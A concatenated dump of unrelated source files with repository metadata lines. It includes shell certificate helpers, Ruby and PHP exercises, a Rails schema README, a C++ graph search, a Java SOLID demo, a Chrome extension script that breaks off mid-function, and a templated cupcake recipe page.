listing directories first. The output gets piped into # 'less' with options to preserve color and line numbers, unless the output is # small enough for one screen. function tre() { tree -aC -I '.git|node_modules|bower_components' --dirsfirst "$@" | less -FRNX; } function portFind() { if [ "$#" -ne 1 ]; then echo "Illegal number of parameters" else lsof -n -i TCP:$1 | grep LISTEN fi } alias pf=portFind ######################################### # OPENSSL ######################################### # Check CRT (Public Key) function openssl_list_crt() { if [ -z "${1}" ]; then echo "Usage: openssl_list_crt 1_CRT_LOCATION"; return 1; fi; openssl x509 -in ${1} -text -noout } # Check KEY (Private Key) function openssl_list_key() { if [ -z "${1}" ]; then echo "Usage: openssl_list_key 1_KEY_LOCATION"; return 1; fi; openssl rsa -in ${1} -check } # Check KEY (Private Key) function openssl_list_p12() { if [ -z "${1}" ]; then echo "Usage: openssl_list_p12 1_KEYSTORE_LOCATION"; return 1; fi; openssl pkcs12 -info -in ${1} } # Generate P12 Keystore function openssl_generate_p12() { if [ -z "${1}" -o -z "${2}" -o -z "${3}" -o -z "${4}" ]; then echo "Usage: openssl_generate_p12 1_CERT_LOCATION 2_KEY_LOCATION 3_ALIAS_NAME 4_KEYSTORE_TARGET_LOCATION"; return 1; fi; openssl pkcs12 -export -in ${1} -inkey ${2} -name ${3} -out ${4} } # Generate a self-signed certificate function openssl_generate_cert() { if [ -z "${1}" -o -z "${2}" ]; then echo "Usage: openssl_generate_cert 1_KEY_TARGET_LOCATION 2_CERT_TARGET_LOCATION"; return 1; fi; openssl req -x509 -sha256 -nodes -days 365 -newkey rsa:2048 -keyout ${1} -out ${2} } # Generate a certificate signing request (CSR) for an existing private key function openssl_generate_csr() { if [ -z "${1}" -o -z "${2}" ]; then echo "Usage: openssl_generate_csr 1_KEY_LOCATION 2_CSR_TARGET_LOCATION"; return 1; fi; openssl req -out ${2} -key ${1} -new } # Convert DER cert to PEM function openssl_convert_der_to_pem() { if [ -z "${1}" -o -z "${2}" ]; then echo "Usage: openssl_convert_der_to_pem 1_CRT_LOCATION 2_PEM_TARGET_LOCATION"; return 1; fi; openssl x509 -inform DER -outform PEM -in ${1} -out ${2} } # Test connection with CA file function openssl_test_connection() { if [ -z "${1}" -o -z "${2}" ]; then echo "Usage: openssl_test_connection 1_CA_CRT_FILE 2_TARGET_HOST 3_TARGET_PORT"; return 1; fi; openssl s_client -CAfile ${1} -connect ${2}:${3} } ######################################### # KEYTOOL ######################################### # List certs function keytool_list() { if [ -z "${1}" ]; then echo "Usage: keytool_list 1_KEYSTORE_LOCATION"; return 1; fi; keytool -list -v -keystore ${1} } # List certs alternative function keytool_listalt() { if [ -z "${1}" ]; then echo "Usage: keytool_listalt 1_FILE_LOCATION"; return 1; fi; keytool -printcert -v -file ${1} } # List alias function keytool_list_alias() { if [ -z "${1}" -o -z "${2}" ]; then echo "Usage: keytool_list_alias 1_KEYSTORE_LOCATION 2_ALIAS_NAME"; return 1; fi; keytool -list -v -keystore ${1} -alias ${2} } # List Java cacerts function keytool_list_java() { keytool -list -v -keystore $JAVA_HOME/jre/lib/security/cacerts } # Generate a Java keystore and key pair function keytool_generate_pkcs12() { if [ -z "${1}" -o -z "${2}" ]; then echo "Usage: keytool_generate_pkcs12 1_ALIAS_NAME 2_KEYSTORE_LOCATION"; return 1; fi; keytool -genkey -alias ${1} -keyalg RSA -keystore ${2} -storetype PKCS12 -storepass changeit -validity 730 -keysize 2048 } # Generate a Self Signed Certificate function keytool_generate_jks() { if [ -z "${1}" -o -z "${2}" -o -z "${3}" -o -z "${4}" ]; then echo "Usage: keytool_generate_jks 1_ALIAS_NAME 2_KEYSTORE_LOCATION 3_PASSWORD"; return 1; fi; keytool -genkey -alias ${1} -keyalg RSA -keystore ${2} -storetype JKS -storepass changeit -validity 730 -keysize 2048 } # Import a root or intermediate CA certificate to an "existing" Java keystore. If not existing the keystore is simply created # and contains the imported certificate. function keytool_import_cert() { if [ -z "${1}" -o -z "${2}" -o -z "${3}" ]; then echo "Usage: keytool_import_cert 1_ALIAS_NAME 2_IMPORT_CERT_LOCATION 3_KEYSTORE_LOCATION"; return 1; fi; keytool -import -trustcacerts -alias ${1} -file ${2} -keystore ${3} } # Export cert from keystore function keytool_export_cert() { if [ -z "${1}" -o -z "${2}" -o -z "${3}" ]; then echo "Usage: keytool_export_cert 1_ALIAS_NAME 2_KEYSTORE_LOCATION 3_TARGET_FILE"; return 1; fi; keytool -export -alias ${1} -keystore ${2} -file ${3} } # Delete a cert from a keystore function keytool_delete_cert() { if [ -z "${1}" -o -z "${2}" ]; then echo "Usage: keytool_delete_cert 1_ALIAS_NAME 2_KEYSTORE_LOCATION"; return 1; fi; keytool -delete -alias ${1} -keystore ${2} } # Change the password of a keystore function keytool_change_pw() { if [ -z "${1}" -o -z "${2}" ]; then echo "Usage: keytool_change_pw 1_KEYSTORE_LOCATION 2_NEW_PASSWORD"; return 1; fi; keytool -storepasswd -keystore ${1} -new ${2} } # Convert JKS keystore to PKCS12 keystore function keytool_convert_jks_to_pkcs12() { if [ -z "${1}" -o -z "${2}" -o -z "${3}" -o -z "${4}" ]; then echo "Usage: keytool_convert_jks_to_pkcs121 1_SRC_KEYSTORE_LOCATION 2_DEST_KEYSTORE_LOCATION 3_SRC_ALIAS 4_DEST_ALIAS"; return 1; fi; keytool -importkeystore -srckeystore ${1} -destkeystore ${2} -srcstoretype JKS -deststoretype PKCS12 -deststorepass changeit -srcalias ${3} -destalias ${4} } ######################################### # EASY PKI ######################################### # Create a root CA function easypki_create_ca() { if [ -z "${1}" -o -z "${2}" ]; then echo "Usage: easypki_create_ca 1_FILENAME 2_CA_NAME"; return 1; fi; easypki create --filename ${1} --ca ${2} } # Create certs signed by CA function easypki_create_cert_signed_by_ca() { if [ -z "${1}" -o -z "${2}" -o -z "${3}" ]; then echo "Usage: easypki_create_cert_signed_by_ca 1_CA_NAME 2_DNS_ALT_NAME 3_NAME"; return 1; fi; easypki create --ca-name ${1} --dns ${2} ${3} } function wttr() { curl -s -H "Accept-Language: ${LANG%_*}" wttr.in/"${1:-Braunschweig}" } function fetchJavaVersion() { local result local java_cmd if [[ -n $(type -p java) ]] then java_cmd=java elif [[ (-n "$JAVA_HOME") && (-x "$JAVA_HOME/bin/java") ]] then java_cmd="$JAVA_HOME/bin/java" fi local IFS=$'\n' local lines=$("$java_cmd" -Xms32M -Xmx32M -version 2>&1 | tr '\r' '\n') if [[ -z $java_cmd ]] then result="---" else for line in $lines; do if [[ (-z $result) && ($line = *"version \""*) ]] then result=$(echo $line | sed -e 's/.*version "\(.*\)"\(.*\)/\1/; 1q') fi done fi echo "$result" } function reloadItermVars() { if test -e "${HOME}/.iterm2_shell_integration.bash"; then source "${HOME}/.iterm2_shell_integration.bash" iterm2_set_user_var nodeVersion "$(node -v)" iterm2_set_user_var npmVersion "$(npm -v)" iterm2_set_user_var javaVersion "$(fetchJavaVersion)" fi }
Ruby
UTF-8
1,771
3.3125
3
[ "LicenseRef-scancode-unknown-license-reference", "LicenseRef-scancode-public-domain" ]
permissive
def begins_with_r(tools) tools.all?{ |tool| tool.start_with?("r") } end def contain_a(array) array_with_a = [] array.each do |string| if string.include? "a" array_with_a.push(string) end end return array_with_a end def first_wa(array) array.each do |element| if element.is_a? String if element.start_with?("wa") return element end end end end def remove_non_strings(array) new_array = [] array.collect do |element| if element.is_a? String new_array.push(element) end end return new_array end def count_elements(array) new_hash = {} array.each do |element| if new_hash[element[:name]] != nil new_hash[element[:name]] = new_hash[element[:name]] + 1 else new_hash[element[:name]] = 1 end end new_array = [] new_hash.each do |person, number| new_array.push({:name=> person, :count=> number}) end return new_array end def merge_data(keys, data) new_array = [] merge_data = [] data.each do |person| person.each do |name, details| new_array.push(details) end end keys.each do |key| i = keys.index(key) element = key.merge!(new_array[i]) merge_data.push(element) end return merge_data end def find_cool(cool) cool_array = [] cool.each do |person| if person[:temperature] == "cool" cool_array.push(person) end end return cool_array end def organize_schools(schools) org_schools = {} schools.each do |sch, loc| if org_schools[loc[:location]] == nil org_schools[loc[:location]] = [] end org_schools[loc[:location]].push(sch) end return org_schools end
PHP
UTF-8
829
2.78125
3
[]
no_license
<?php use Illuminate\Database\Seeder; use App\Domain\Model\Documents\Passive\Language; class LanguagesTableSeeder extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { // https://github.com/caouecs/Laravel-lang // https://www.loc.gov/standards/iso639-2/php/code_list.php $languages = [ ['name' => 'English', 'locale' => 'en'], ['name' => 'Lietuvių', 'locale' => 'lt'] ]; foreach ($languages as $language) { $record = Language::whereLocale($language['locale'])->first(); if ($record) { $record->name = $language['name']; $record->save(); } else { Language::create($language); } } } }
Markdown
UTF-8
2,681
2.9375
3
[]
no_license
# README ## usersテーブル | column | type | options | |:--------------------:|:------:|:-------------------------:| | nickname | string | null: false | | email | string | null: false, unique: true | | encrypted_password | string | null: false | | first_name | string | null: false | | last_name | string | null: false | | first_name_kana | string | null: false | | last_name_kana | string | null: false | | birthday | date | null: false | ###Asociation - has_many :items - has_many :buy_records ## itemsテーブル | column | type | options | |:--------------------:|:----------:|:------------------------------:| | item_name | string | null: false | | description | text | null: false | | category_id | integer | null: false | | condition_id | integer | null: false | | postage_id | integer | null: false | | delivery_area_id | integer | null: false | | delivery_period_id | integer | null: false | | price | integer | null: false | | user | references | null: false, foreign_key: true | ###Asociation - belongs_to :user - has_one :buy_record ## buy_recordsテーブル | column | type | options | |:--------------------:|:----------:|:------------------------------:| | item | references | null: false, foreign_key: true | | user | references | null: false, foreign_key: true | ###Asociation - belongs_to :user - belongs_to :item - has_one :delivery_address ## delivery_addressesテーブル | column | type | options | |:--------------------:|:----------:|:------------------------------:| | postal_code | string | null: false | | delivery_area_id | integer | null: false | | city | string | null: false | | address_line | string | null: false | | building_name | string | | | phone_number | string | null: false | | buy_record | references | null: false, foreign_key: true | ###Asociation - belongs_to :buy_record
C
UTF-8
255
2.765625
3
[ "MIT" ]
permissive
#include <stdio.h> int main(void) { char filename[233]; char tmp[233]; FILE *fp; scanf("%s",filename); fp = fopen(filename,"r"); rewind(fp); printf("\n"); while(!feof(fp)) { fgets(tmp,233,fp); printf("%s",tmp); } printf("\n"); return 0; }
Markdown
UTF-8
7,352
2.609375
3
[]
no_license
--- description: "How to Prepare Award-winning Spiced Cake/Cupcakes #Christmas Baking Contest" title: "How to Prepare Award-winning Spiced Cake/Cupcakes #Christmas Baking Contest" slug: 2113-how-to-prepare-award-winning-spiced-cake-cupcakes-christmas-baking-contest date: 2020-07-04T21:03:40.747Z image: https://img-global.cpcdn.com/recipes/973830f0c71084ad/751x532cq70/spiced-cakecupcakes-christmas-baking-contest-recipe-main-photo.jpg thumbnail: https://img-global.cpcdn.com/recipes/973830f0c71084ad/751x532cq70/spiced-cakecupcakes-christmas-baking-contest-recipe-main-photo.jpg cover: https://img-global.cpcdn.com/recipes/973830f0c71084ad/751x532cq70/spiced-cakecupcakes-christmas-baking-contest-recipe-main-photo.jpg author: Norman Rhodes ratingvalue: 4.7 reviewcount: 10 recipeingredient: - "2 cups flour" - "1 1/2 teaspoons baking powder" - "1/2 teaspoons soda" - "1 teaspoon ground cinnamon" - "1/4 teaspoon powderedgrated nutmeg" - "1/4 teaspoon powdered cloves" - "1/4 teaspoon powdered ginger" - "1/4 cup margarine or butter" - "1/4 cup shortening" - "1 1/4 cups sugar" - "1/2 teaspoon vanilla essence" - "2 eggs" - "1 1/4 cups buttermilk" - " Prepare the following at least 24 hours in advance for best results" - "1 1/2 cup mixture of red cherries green cherries orange peel dry peel raisins mixed with juice of one orange Drain before using" recipeinstructions: - "In a bowl stir together flour, baking powder, baking soda, cinnamon, nutmeg, cloves and ginger. This is the dry mixture." - "In another bowl, beat butter and shortening with an electric mixer or by hand." - "Add sugar and vanilla and beat till combined." - "Add eggs one at a time. Beat well after each." - "Add some dry mixture and beat. Add some buttermilk and beat. Do this till all the dry mixture and buttermilk is incorporated into the batter." - "You are welcome to forgo this addition if you wish. The cake is still great without this added step. Add a cup of fruit mixture. Fold gently into the batter. Reserve half a cup of the fruit mixture to sprinkle on top of each cupcake. Pour into cupcake pan. I filled them a little less than half way. Sprinkle fruit mixture and you&#39;re ready to bake! Bake at 180 for 15 minutes. For cakes, grease your pan, pour batter and bake at 180 for 35 minutes. Keep checking for doneness at the 30 minute mark." - "They turned out well! Very moist! The fruits really make this recipe special. Decorate the cupcakes as desired. I used a simple vanilla frosting and added sprinkles to make it festive!" categories: - Recipe tags: - spiced - cakecupcakes - christmas katakunci: spiced cakecupcakes christmas nutrition: 134 calories recipecuisine: American preptime: "PT31M" cooktime: "PT41M" recipeyield: "4" recipecategory: Dessert --- <br> Hey everyone, welcome to our recipe page, looking for the perfect Spiced Cake/Cupcakes #Christmas Baking Contest recipe? look no further! We provide you only the best Spiced Cake/Cupcakes #Christmas Baking Contest recipe here. We also have wide variety of recipes to try. <br> ![Spiced Cake/Cupcakes #Christmas Baking Contest](https://img-global.cpcdn.com/recipes/973830f0c71084ad/751x532cq70/spiced-cakecupcakes-christmas-baking-contest-recipe-main-photo.jpg) <i>Before you jump to Spiced Cake/Cupcakes #Christmas Baking Contest recipe, you may want to read this short interesting healthy tips about <strong>Easy Ways to Get Healthy</strong>.</i> Everyone knows that in order to truly be healthy you need to eat a wholesome and balanced diet and get a proper level of exercise. Sadly, there isn't always enough time or energy for us to really do the things we need to do. At the end of the day, almost everyone want to go home, not to the gym. We want a delicious, greasy burger, not an equally tasty salad (unless we’re vegetarians). You should be glad to learn that getting healthy doesn't always have to be super difficult. If you keep at it, you'll get all of the required foods and activites. Here are some tips to be as healthy as possible. Select water over other drinks. Having a soda or a cup of coffee every occasionally isn’t a bad idea. It will be, however, a bad idea to solely drink soda or coffee. Choosing water as an alternative to other beverage adds to your body's health and allows it stay hydrated. You’re also cutting hundreds of calories from your diet— without having to resort to terrible tasting diet food. Water is usually one of the keys to really slimming down and becoming really healthy. There are a whole lot of things that factor into getting healthy. Extensive gym visits and narrowly defined diets are not always the solution. You can do little things every day to improve upon your health and lose weight. Make shrewd choices every day is a great start. Trying to get in as much physical activity as possible is another. Don't overlook that health isn't only about simply how much you weigh. It’s about making your body as powerful as it can be. <i>We hope you got benefit from reading it, now let's go back to spiced cake/cupcakes #christmas baking contest recipe. You can have spiced cake/cupcakes #christmas baking contest using <strong>15</strong> ingredients and <strong>7</strong> steps. Here is how you cook that. </i> ##### The ingredients needed to prepare Spiced Cake/Cupcakes #Christmas Baking Contest: 1. Get 2 cups flour 1. Get 1 1/2 teaspoons baking powder 1. Use 1/2 teaspoons soda 1. Provide 1 teaspoon ground cinnamon 1. Use 1/4 teaspoon powdered/grated nutmeg 1. Use 1/4 teaspoon powdered cloves 1. Take 1/4 teaspoon powdered ginger 1. You need 1/4 cup margarine or butter 1. You need 1/4 cup shortening 1. Use 1 1/4 cups sugar 1. Take 1/2 teaspoon vanilla essence 1. You need 2 eggs 1. You need 1 1/4 cups buttermilk 1. Use Prepare the following at least 24 hours in advance for best results 1. You need 1 1/2 cup mixture of red, cherries, green cherries, orange peel, dry peel, raisins mixed with juice of one orange. Drain before using ##### Instructions to make Spiced Cake/Cupcakes #Christmas Baking Contest: 1. In a bowl stir together flour, baking powder, baking soda, cinnamon, nutmeg, cloves and ginger. This is the dry mixture. 1. In another bowl, beat butter and shortening with an electric mixer or by hand. 1. Add sugar and vanilla and beat till combined. 1. Add eggs one at a time. Beat well after each. 1. Add some dry mixture and beat. Add some buttermilk and beat. Do this till all the dry mixture and buttermilk is incorporated into the batter. 1. You are welcome to forgo this addition if you wish. The cake is still great without this added step. Add a cup of fruit mixture. Fold gently into the batter. Reserve half a cup of the fruit mixture to sprinkle on top of each cupcake. Pour into cupcake pan. I filled them a little less than half way. Sprinkle fruit mixture and you&#39;re ready to bake! Bake at 180 for 15 minutes. For cakes, grease your pan, pour batter and bake at 180 for 35 minutes. Keep checking for doneness at the 30 minute mark. 1. They turned out well! Very moist! The fruits really make this recipe special. Decorate the cupcakes as desired. I used a simple vanilla frosting and added sprinkles to make it festive! <i>If you find this Spiced Cake/Cupcakes #Christmas Baking Contest recipe helpful please share it to your friends or family, thank you and good luck.</i>
PHP
UTF-8
3,162
2.796875
3
[]
no_license
<?php /** * @file * Contains the MembershipEntityType class. */ /** * Defines a membership type. */ class MembershipEntityType extends Entity { public $id; public $label; public $type; public $description; public $weight; public $data; /** * Default constructor for membership types. * * @param optional|array $values * An array of default values. */ public function __construct($values = array()) { parent::__construct($values, 'membership_entity_type'); } /** * Returns the full url to the membership type. * * @param optional|string $context * String containing context action. * * @return string * URL to action from context, or default URL. */ public function url($context = NULL) { $uri = $this->uri($context); return url($uri['path'], $uri); } /** * Returns the Drupal path to the membership type. * * @param optional|string $context * String containing context action. * * @return string * URI to action from context, or default URI. */ public function path($context = NULL) { $uri = $this->uri($context); return $uri['path']; } /** * {@inheritdoc} */ public function uri($context = NULL) { if (isset($this->entityInfo['uri callback']) && $this->entityInfo['uri callback'] == 'entity_class_uri') { switch ($context) { case 'join': return $this->joinUri(); case 'admin': return $this->adminUri(); default: return $this->defaultUri(); } } return entity_uri($this->entityType, $this); } /** * Return a path the membership type join form. * * @return array * Array containing the path string, keyed by "path". */ public function joinUri() { $type_url_str = str_replace('_', '-', $this->type); return array('path' => 'user/join/' . $type_url_str); } /** * Return a path the membership type admin create form. * * @return array * Array containing the path string, keyed by "path". */ public function adminUri() { $type_url_str = str_replace('_', '-', $this->type); return array('path' => 'admin/memberships/add/' . $type_url_str); } /** * {@inheritdoc} */ public function defaultUri() { return array('path' => 'admin/memberships/types/manage/' . $this->type); } /** * Overrides Entity::save(). */ public function save() { // If this is a new entity. if (!isset($this->id)) { $this->is_new_revision = TRUE; return parent::save(); } // Load unchanged entity data. if (!isset($this->original)) { $original = entity_load_unchanged('membership_entity_type', $this->id); } else { $original = $this->original; unset($this->original); } // Compare new and old objects to check if any change was made. if (md5(json_encode($this)) !== md5(json_encode($original))) { // Flag to add a new revision. $this->is_new_revision = TRUE; } // EntityAPIController will load original again if left unset. $this->original = $original; return parent::save(); } }
Java
UTF-8
264
2.375
2
[]
no_license
package Controler; import DAO.UsuarioDAO; import DAO.UsuarioDAOImpl; import Entidade.Usuario; public class UsuarioControl { private UsuarioDAO usuarioDAO = new UsuarioDAOImpl(); public void adicionarUsuario(Usuario u) { usuarioDAO.adicionar(u); } }
Java
UTF-8
1,591
2.34375
2
[]
no_license
package org.lightadmin.boot.administration; import org.lightadmin.api.config.AdministrationConfiguration; import org.lightadmin.api.config.builder.EntityMetadataConfigurationUnitBuilder; import org.lightadmin.api.config.builder.FieldSetConfigurationUnitBuilder; import org.lightadmin.api.config.builder.PersistentFieldSetConfigurationUnitBuilder; import org.lightadmin.api.config.unit.EntityMetadataConfigurationUnit; import org.lightadmin.api.config.unit.FieldSetConfigurationUnit; import org.lightadmin.api.config.utils.FieldValueRenderer; import org.lightadmin.boot.domain.EducationLevel; public class EducationAdminisration extends AdministrationConfiguration<EducationLevel> { @Override public EntityMetadataConfigurationUnit configuration(EntityMetadataConfigurationUnitBuilder configurationBuilder) { return configurationBuilder.nameField("name").singularName("Education").pluralName("Educations").build(); } @Override public FieldSetConfigurationUnit listView(FieldSetConfigurationUnitBuilder fragmentBuilder) { return fragmentBuilder.field("name").caption("Name").build(); } @Override public FieldSetConfigurationUnit formView(PersistentFieldSetConfigurationUnitBuilder fragmentBuilder) { return fragmentBuilder.field("name").caption("Name").build(); } private static FieldValueRenderer<EducationLevel> idRenderer() { return new FieldValueRenderer<EducationLevel>() { private static final long serialVersionUID = 1L; @Override public String apply(EducationLevel education) { return String.format("\u00A3 %s", education.getId()); } }; } }
JavaScript
UTF-8
185
3.390625
3
[]
no_license
const getFilteredArray = (arr, callback) => { let res = []; forEach(arr, function(val){ if(callback(val)){ res.push(val); } }) return res; };
C++
UTF-8
4,578
3.28125
3
[]
no_license
/* +-----------------------------------------------------------------------+ | C++ Code BFS & DFS | +-----------------------------------------------------------------------+ | Copyright (c) 2013 - 2014, CILAB. All rights reserved. | +-----------------------------------------------------------------------+ | Authors: Giles | +-----------------------------------------------------------------------+ */ #include <iostream> #include <vector> #include <queue> using namespace std; class graph { private: struct node { int data; node *next; node() : next(NULL) {} node(int __data) : data(__data), next(NULL) {} }; typedef node* link; private: link *_root; int _size; bool *_visi; public: graph() : _root(NULL), _size(0), _visi(NULL) {} graph(int *vertix, int *matrix, int n) : _size(n) { __make_adjmatrix(); for (int __i = 0; __i < _size; ++__i) { _root[__i] = make_node(vertix[__i]); link current = _root[__i]; for (int __k = 0; __k < _size; ++__k) { // if visited if (matrix[__i * _size + __k]) { while (current->next) current = current->next; current->next = make_node(vertix[__k]); } } } } ~graph() { if (_root) { for (int __i = 0; __i < _size; ++__i) { if (_root[__i]) delete[] _root[__i]; } delete[] _root; } } void printAdjacencyList() { for (int __i = 0; __i < _size; ++__i) { link current = _root[__i]; for (int __k = 0; __k < _size; ++__k) { while (current) { cout << current->data << "-> "; current = current->next; } } cout << endl; } } // deep first search void DFS() { initStatus(); r_DFS(_root[0]); } // breadth first search void BFS() { initStatus(); i_BFS(); } private: void initStatus() { _visi = new bool[_size]; for (int __i = 0; __i < _size; ++__i) _visi[__i] = false; } void __make_adjmatrix() { _root = new link[_size]; for (int i = 0; i < _size; ++i) _root[i] = new node; } node *make_node(int __data) { return new node(__data); } void visit(link __node) { cout << __node->data << "-> "; int curr_idx = get_idx(__node); _visi[curr_idx] = true; } int get_idx(link _node) { int __i = 0; while (__i < _size) { if (_root[__i]->data == _node->data) return __i; ++__i; } return __i; // error here } // recursive void r_DFS(link __node) { link curr = __node; int curr_idx, next_idx; while (curr) { // if not visited curr_idx = get_idx(curr); if (!_visi[curr_idx]) { // if not end of list if (curr->next) next_idx = get_idx(curr->next); else return; visit(curr); r_DFS(_root[next_idx]); } curr = curr->next; } } // iterative void i_BFS() { queue<link> scan; if (_root) scan.push(_root[0]); while (!scan.empty()) { link curr = scan.front(); visit(curr); scan.pop(); curr = curr->next; int curr_idx; while (curr) { curr_idx = get_idx(curr); if (!_visi[curr_idx]) { scan.push(_root[curr_idx]); } curr = curr->next; } } } }; /* int main() { const int n = 6; int weight[n] = { 1, 2, 3, 4, 5, 6 }; int matrix[n * n] = { 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1 }; graph _G(weight, matrix, n); cout << "Adjacency List:" << endl; _G.printAdjacencyList(); cout << endl << "DFS:" << endl; _G.DFS(); cout << endl << "BFS:" << endl; _G.BFS(); return 0; } */
Java
UTF-8
489
2.421875
2
[]
no_license
package thesis.core.uav.dubins; import thesis.core.common.WorldCoordinate; public class PathSegment { private WorldCoordinate start; private WorldCoordinate end; public PathSegment() { start = new WorldCoordinate(); end = new WorldCoordinate(); } public double pathLength() { return start.distanceTo(end); } public WorldCoordinate getStart() { return start; } public WorldCoordinate getEnd() { return end; } }
PHP
UTF-8
1,046
2.890625
3
[]
no_license
<?php echo "<pre>\n"; $contenido = file_get_contents('mi-archivo.txt'); var_dump($contenido); file_put_contents('mi-archivo.txt', "Juanito Pastrana was here\n"); // Falla intencionalmente $contenido = file_get_contents('archivo-no-existente.md'); var_dump($contenido); echo __FILE__ . "\n\n"; echo "Mi archivo: " . __FILE__. "\n"; echo "Su directorio: " . dirname(__FILE__) . "\n"; echo "El directorio de su directorio: " . dirname(dirname(__FILE__)) . "\n"; echo "El directorio del directorio de su directorio: " . dirname(dirname(dirname(__FILE__))) . "\n"; $contenido = file_get_contents(dirname(dirname(dirname(__FILE__))) . '/TEMARIO.md'); var_dump($contenido); chmod('mi-archivo.txt', 0777); print_r(stat('mi-archivo.txt')); // echo file_get_contents('https://www.php.net/manual/en/function.fopen.php') . "\n"; $handler = fopen('mi-archivo.txt', 'a'); echo 'Tamaño: ' . filesize('mi-archivo.txt') . "\n"; fwrite($handler, "Juan Pastrana strikes again\n"); fclose($handler); echo file_get_contents('mi-archivo.txt') . "\n"; echo "</pre>\n";
Python
UTF-8
603
3.25
3
[]
no_license
import random import math # The dorms, each of which has two available spaces dorms=['Zeus','Athena','Hercules','Bacchus','Pluto'] # People, along with their first and second choices prefs=[('Toby', ('Bacchus', 'Hercules')), ('Steve', ('Zeus', 'Pluto')), ('Karen', ('Athena', 'Zeus')), ('Sarah', ('Zeus', 'Pluto')), ('Dave', ('Athena', 'Bacchus')), ('Jeff', ('Hercules', 'Pluto')), ('Fred', ('Pluto', 'Athena')), ('Suzie', ('Bacchus', 'Hercules')), ('Laura', ('Bacchus', 'Hercules')), ('James', ('Hercules', 'Athena'))] print(prefs)
Ruby
UTF-8
1,370
3.46875
3
[]
no_license
class SpaceShip attr_accessor :x, :y def initialize(settings) @x = settings[:x] || 10 @y = settings[:y] || 10 @moving_left = @moving_right = false @speed = 2 end def tick(args) self.draw args end def draw(args) args.outputs.sprites << [ @x, @y, 64, 64, image ] end def image if @move_left "assets/playerLeft.png" elsif @move_right "assets/playerRight.png" else "assets/player.png" end end def handle_input(inputs) if inputs.keyboard.key_held.up && can_move_up? self.move_up end if inputs.keyboard.key_held.down && can_move_down? self.move_down end if inputs.keyboard.key_held.left && can_move_left? self.move_left @move_left = true @move_right = false elsif inputs.keyboard.key_held.right && can_move_right? self.move_right @move_right = true @move_left = false else @move_right = @move_left = false end end def can_move_left? @x > 10 end def can_move_right? @x < 1200 end def can_move_up? @y < 650 end def can_move_down? @y > 10 end def move_down @y -= @speed end def move_up @y += @speed end def move_left @x -= @speed end def move_right @x += @speed end def to_s "(x:#{x} y:#{@y})" end end
Java
UTF-8
1,012
3.390625
3
[]
no_license
package com.practice.solid.ocp; import java.util.List; public class Demo { public static void main(String[] args) { Product p1 = new Product("Apple", Color.RED, Size.MEDIUM); Product p2 = new Product("Bottle", Color.BLUE, Size.LARGE); Product p3 = new Product("Leaf", Color.GREEN, Size.SMALL); List<Product> products = List.of(p1, p2, p3); ProductFilter pf = new ProductFilter(); System.out.println("Old Way:"); pf.filterByColor(products, Color.RED).forEach(p -> System.out.println(p.name + " is RED")); BetterFilter filter = new BetterFilter(); ColorSpecification cs = new ColorSpecification(Color.GREEN); SizeSpecification ss = new SizeSpecification(Size.SMALL); System.out.println("New Way:"); filter.filter(products, cs).forEach(p -> System.out.println(p.name + " is Green")); AndSpecification<Product> as = new AndSpecification<>(cs, ss); filter.filter(products, as).forEach(p -> System.out.println(p.name + " is Small and Green")); } }
JavaScript
UTF-8
4,897
2.578125
3
[]
no_license
/** * Get the brand that corresponds with the hostname. * * @param {function(string)} copilotHostname - called with the desired Copilot hostname * @param {function(string)} tabHostname - called with the hostname of the current tab URL * */ let brandsPromise; function getBrandFromHostname(copilotHostname, tabHostname) { if (!brandsPromise) { brandsPromise = fetchCopilotData(copilotHostname, 'api/configs'); } return new Promise(function (resolve, reject) { brandsPromise.then(function (brands) { let brand = brands.find(function(config) { let hostnames = config.hostnames || {}; return tabHostname.indexOf(hostnames.consumer) > -1 || tabHostname.indexOf(hostnames.preview) > -1; }); if (brand) { resolve(brand); } else { reject(); } }).catch(err => { brandsPromise = false; reject(err); }); }); } function getCopilotHostname(tabHostname) { if(tabHostname.endsWith('.com')) { let tabSubdomain = tabHostname.split('.')[0]; let envPrefix = ''; envPrefix = (tabSubdomain == 'stag') ? 'stg-' : envPrefix; envPrefix = (tabSubdomain == 'ci') ? 'ci-' : envPrefix; envPrefix = (tabSubdomain == 'ap-ci') ? 'ci-' : envPrefix; return `${envPrefix}copilot.aws.conde.io`; } else { let env = tabHostname.match(/staging\./) ? 'staging' : 'prod'; return `copilot.${env}.cni.digital`; } } /** * Search the API for piece of content using digitalData, if found save the URL and enable the browserAction * @param {Object} tab tab where digitalData refers to */ function findCopilotContent(tab) { let brand; let url = new URL(tab.url); let identifier = url.pathname.replace(/^\/*(.*?)\/*$/, '$1'); let tabHostname = url.hostname; let copilotHostname = getCopilotHostname(tabHostname); getBrandFromHostname(copilotHostname, tabHostname) .then(function (result) { brand = result; return authInstance(copilotHostname); }) .then(function (authObj) { // Check if user has access to brand if (authObj && authObj.brands.indexOf(brand.code) > -1) { return setBrandCookie(copilotHostname, brand.code); } Promise.reject(new Error('User does not have access to brand')); }) .then(searchCopilotByURI(copilotHostname, encodeURIComponent(identifier))) .then(function(data) { if (data.hits.total === 1) { let hit = data.hits.hits[0]; let url = `https://${copilotHostname}/${brand.code}/${hit._source.meta.collectionName}/${hit._id}`; let storageData = {}; storageData[`url${tab.id}`] = url; chrome.storage.sync.set(storageData, function() { chrome.browserAction.enable(tab.id); chrome.browserAction.setBadgeText({text: '', tabId: tab.id}); chrome.browserAction.setTitle({title: 'Open in Copilot', tabId: tab.id}); }); } }) .catch(function (err) { chrome.browserAction.setBadgeText({text: '!', tabId: tab.id}); chrome.browserAction.setTitle({title: 'Error connecting to Copilot', tabId: tab.id}); }); } function fetchCopilotData(copilotHostname, path) { return new Promise(function (resolve, reject) { fetch(`https://${copilotHostname}/${path}`, {credentials: 'include', redirect: 'manual'}) .then(status) .then(json) .then(resolve) .catch(reject); }); } function status(response) { if (response.status >= 200 && response.status < 300 && response.redirected === false) { return Promise.resolve(response) } else { return Promise.reject(new Error(response.statusText)) } } function json(response) { return response.json(); } function setBrandCookie(copilotHostname, brandCode) { return new Promise(function (resolve, reject) { let brandCookie = { url: `https://${copilotHostname}/api/search`, name: 'brand', value: brandCode, expirationDate: (new Date().getTime()/1000) + 10 }; /* Set brand cookie to the current brand */ chrome.cookies.set(brandCookie, function (cookie) { if (cookie) { resolve(cookie); } else { reject(new Error('Failed to set cookie')); } }); }); } function authInstance(copilotHostname) { return fetchCopilotData(copilotHostname, 'auth/instance'); } function 